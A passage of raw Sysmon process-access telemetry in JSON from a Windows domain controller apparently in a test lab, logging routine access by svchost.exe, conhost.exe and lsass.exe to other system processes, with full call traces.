C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.947","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5112,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.947\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.947","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5113,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.947\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.947","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5114,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.947\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010E0580700}\r\nSourceProcessId: 1276\r\nSourceThreadId: 4304\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-416C-5F2D-0000-0010B0FD0700}\r\nTargetProcessId: 4636\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.947","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010E0580700}","SourceProcessId":"1276","SourceThreadId":"4304","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-416C-5F2D-0000-0010B0FD0700}","TargetProcessId":"4636","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5115,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.556\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.556","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5116,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.556\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.556","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5117,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.556\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.556","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5118,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.587\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.587","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5119,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.587\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 